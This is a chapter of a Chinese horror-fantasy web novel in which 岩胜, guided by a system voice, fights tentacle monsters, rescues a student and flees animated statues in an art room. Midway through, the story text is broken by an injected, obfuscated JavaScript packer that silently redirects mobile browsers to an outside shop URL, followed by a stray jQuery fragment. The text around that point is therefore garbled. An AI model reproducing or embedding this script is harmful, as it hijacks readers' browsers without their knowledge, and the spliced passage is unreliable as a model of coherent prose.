脚下的地面骤然裂开数道缝隙,滑腻粗韧的触手裹挟着湿气猛地破土翻涌,如藤蔓般瞬间缠上脚踝,力道紧得勒进皮肉。

    更多触手从地面疯狂窜出,顺着小腿一路向上缠绕,层层捆住腰腹、双臂,将人死死定住。岩胜的衣服被卷了上去,滑腻的肉膜不断收缩收紧,顶端戳着腰侧两道浅淡的腰窝凹陷,细碎吸盘贴紧肌肤,吸得皮肤阵阵发麻。

    岩胜不由蹙眉发出一声急促的喘息。

    得尽快脱身,他想。

    随即,岩胜咬着唇,手腕拼命挣动,猛地拔出一把短刀来,寒光乍现。

    手臂发力狠狠向下劈砍,刀刃切入触手柔软肥厚的躯体,浓稠的血液瞬间喷溅在手臂上。斩断的半截触手无力痉挛扭动,重重摔落在地。

    余下触手受惊般骤然收紧,勒得腰腹剧痛。岩胜咬紧牙关,刀锋左右横挥,一刀又一刀割裂层层缠绕上来的肉须。

    接连数根触手应声断裂,黏腻的断口不断渗出湿滑黏液,束缚力道才稍稍松缓。

    趁着空隙,他俯身猛砍缠在脚踝的粗触手,刀刃彻底切断束缚,抬脚踹开不停扭动的残肢,往后倒退几步,紧握刀具警惕盯着地面不断涌动、再度朝他伸来的乌黑触须。

    “呼——”

    有什么东西,攀上了岩胜的背后,朝他的耳后轻轻吹了一口气,不停地重复:

    “跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…跳下来找我…”

    它试图引诱岩胜站上高台。

    岩胜连回头都懒得完全转过去,仅微微侧过半张漂亮得刺眼的脸,瓷白细腻的面庞没半分波澜,薄唇平直抿紧,一片刺骨的漠然。

    这次他拨出了的是枪支,单手转了个漂亮的弧线,岩胜微微偏头,枪口稳稳抵在纤细莹白的脖侧,对准身后。微凉金属贴着肌肤,指尖干脆扣下扳机,枪声骤然在耳边炸开,鬼魄消散。

    自始至终那张绝色的脸庞都平静无波,连一丝睫毛颤动都未曾有。收回刀枪,他些许不屑地道:

    “鼠目獐头之辈。”

    忽地,岩胜听到了栏杆边上传来“吱呀吱呀”的摇晃声,然后就是连哭带叫的求救声:

    “我艹!救命啊救命!有人吗!”

    在栏杆外,悬空吊着一个少年。

    岩胜探头:“你需要…帮助吗?”

    郗飞沉呆怔了一秒,欣喜若狂,“要要要!救命!”

    岩胜轻松将人拉了上来,九死一生,郗飞沉被拉上来后连连道谢。他的手因为紧紧攥着绳索已是血肉模糊,双腿也因为长时间的蹭墙借力走不动路。

    岩胜问:“还能走吗?”

    郗飞沉面色苍白,摇头。

    岩胜点头表示知道了,解决掉最后几条触手,岩胜背起郗飞沉,动身回到原处。燕嘉佑已经醒来了,正靠在墙上闭着眼休息。叶榛言见岩胜回来,语调雀跃:“哥!”

    而后看到岩胜背后半昏迷状态的郗飞沉,一愣:“没事吧?”

    岩胜将绷带扔给叶榛言,“没那么容易死,给他包扎。”

    叶榛言应了一声,一边给郗飞沉包扎一边向燕嘉佑介绍起来岩胜。燕嘉佑后背抵着冰冷墙面,衣衫上几乎被此前伤口渗出来的血浸透。他抬眼,目光落在岩胜身上,视线缓缓顺着对方的眉眼、腰身、长腿慢慢打量。

    岩胜将视线投向地上的燕嘉佑,问:“能站起来吗?”

    “当然。”燕嘉佑扶着墙起身。

    岩胜喂的那颗药立竿见影,伤口很快就止住了血,气力恢复了不少。见他状态还算不错,接下来就是寻根究底了。

    据燕嘉佑所言,他和另外两人来到这里已有三天,这三天里他们一直在寻找出去的办法,可惜都是徒劳无功。无意间知晓了3401号码,以为将是出口的线索,没曾想进来后就遭到了吊死鬼的袭击,燕嘉佑一个人被扔在了镜后。

    三个人里,现在就差闻谊不知身处何处。

    岩胜将天台捡到的学生证给两人看,“去1043。”

    说罢,岩胜转身便走。在副本所待时间已超过了他的预估,他快没耐心了,想着速战速决。

    堆积的欲求、无处纾解的压力层层堆叠,磨得岩胜提不起半分耐性。

    精致清丽的眉眼覆上一层倦怠的燥意,他的肤色凝白,汗莹莹的,仿佛白梅枝上一簇晶莹的积雪。

    月生:【黑死牟。】

    眼睁睁看着黑死牟的耐值断崖式下跌,月生急了,呼喊一声他的名字。

    岩胜知它心忧,安抚道:“我有分寸。”

    “不必忧心。”

    燕嘉佑浑身钝痛还没散尽,额角突突地抽着疼,每一下都扯得视线发虚。他撑着眩晕的视线抬眼,只看见那道挺拔耀眼的背影,宽肩利落,身形漂亮,一步步漠然走远。

    眩晕猛地裹住太阳穴,一些细碎模糊的画面像碎花一样在脑海里飞速掠过去。

    那个人,撑在他身上……

    润红的唇……

    摄魄的香……

    一闪而逝。

    都是什么时候发生的事?

    燕嘉佑头痛不已,捂住脑袋,心口和头颅一同翻涌着酸胀,直至那道强大又疏离的背影已然彻底消失在视野里,燕嘉佑晃了晃头,心想自己应是鬼迷心窍了吧。

    ———

    上课铃猛地刺耳响起。岩胜的脚步猛地停了一刹。

    月生:【校规有之,绝对不允许迟到。】

    岩胜蹙了下眉。他心中姑且算了下距离,在铃声停前赶回教室肯定是来不及了,“后果呢?”

    月生:【常人的话,死亡。但是你,可以承担。】

    岩胜了然,“好,那我们直接走。”

    岩胜走得飞快,没有要等燕嘉佑几人的意思。

    走道极度安静,只有清晰的脚步声回声或老化顶灯的低频嗡鸣。岩胜在地图的指引下,打开了走道尽头的一扇木门。

    这里是一间画室,遍地散落半截炭笔、干涸凝固的颜料盘,空气中飘着阴冷刺鼻又发闷的颜料味。一尊尊盖着薄纱的人像,一张张惨白的面孔,眼珠齐齐朝着门口方向倾斜,像是静静盯着闯入者。

    月生:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929436|213587||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    【屏住呼吸,它们眼不视物,靠声识人。】

    岩胜敛住全部气息,屏息凝立,他放轻脚步,一点点缓步朝前挪动。

    才往前踏出几步,四面白色雕人脸同时侧转,一双双空洞无机质的眼珠尽数转向同一个方向,无数双由颜料勾勒出来的眼睛死死钉在岩胜身上,密密麻麻,令人毛骨悚然。

    纵然满屋画像的目光死死锁着自己,岩胜依旧神色沉静,分毫未慌。脚步稳稳落地,任由无数道冰冷视线肆掠在他身上。

    忽然,哐当一声脆响划破死寂。

    墙壁上的画框年久发旧而不慎掉落。

    巨响响起的一瞬间,人像被这道声响彻底惊动,跟着骤然异动,被薄纱帘覆盖的面孔扭曲起伏,无数双空洞眼眸骤然凸起,原本凝固的轮廓生动逼真起来,似是要将遮挡的纱顶裂撕碎,整片画室的杀戮气息瞬间汹涌袭来。

    岩胜毫不犹豫拔足狂奔。

    满地炭笔与颜料也阻挡不了他的速度,凌乱刺耳的声响跟在身后,原是死物的人像手舞足蹈死死地追着岩胜。

    岩胜步伐迅疾,侧身避开倾倒的画架,长腿利落迈开,一脚将倒下的画架踹向后面,几滴颜料擦过鬓角。岩胜不断利用周遭物体来制造阻碍,撞翻沿途的画架,投掷画布,杂乱刺耳的声响不间断地响起。

    月生:【前方一米左转方向有一张画像,可以穿过去传送到新地方。】

    “明白。”岩胜回道。

    一张毫不起眼的普通白纸,就那么安安静静地躺在地上的角落,岩胜对它并不陌生,接触的一刹那,眼前闪过一道白光,再次睁眼,便身处陌生的全新地方,紧追不舍的人像被狠狠甩开不知何处天涯海角了。

    岩胜环顾四周,竟是来到了……保安室?

    狭小逼仄的保安室摆着一张掉漆木桌,摆着三杯茶、三支烟,空气中弥漫着茶水与烟味混杂的气息,老旧监控屏幕泛着冷光,屏幕大半已经花屏,跳动着模糊扭曲的画面,墙角堆着几根警棍。玻璃窗蒙着灰,看不真切外面的景象。

    低头一看,身上的校服也换成了蓝色的保安装。

    “你在这里干嘛呢?”身后忽地传来一句。

    岩胜转头,身后是一位五六十多岁的保安大叔,矮矮胖胖的,皮肤黝黑,打着手电筒,看着很正常。

    保安大叔上下扫视他一眼,露出了然的眼神,“噢,偷懒啊。”

    他嘻嘻笑着摆摆手,表情随和道:“正常正常,我也经常偷懒。”

    保安大叔又跟岩胜聊了几句,大体是说学校换了新领导,新官上任三把火,辞了好几个爱偷懒甩小聪明的职工。

    “等下你去围着学校巡一圈,有些学生啊,拍拖仔,成日都趁放学没人在课室搞衰野,你看到就把他们赶出去。”

    保安大叔把任务推给岩胜,就从抽屉摸出了根烟,迫不及待地走去了楼梯间。

    “对了,”保安大叔倒退回来,“高三那栋楼里的医务室吊死了个人,尸体昨天才运走,你最好别去那。”

    岩胜嗯嗯点头,扭头就把保安大叔的话当放屁,打着手电筒,向着高三教学楼的方向走。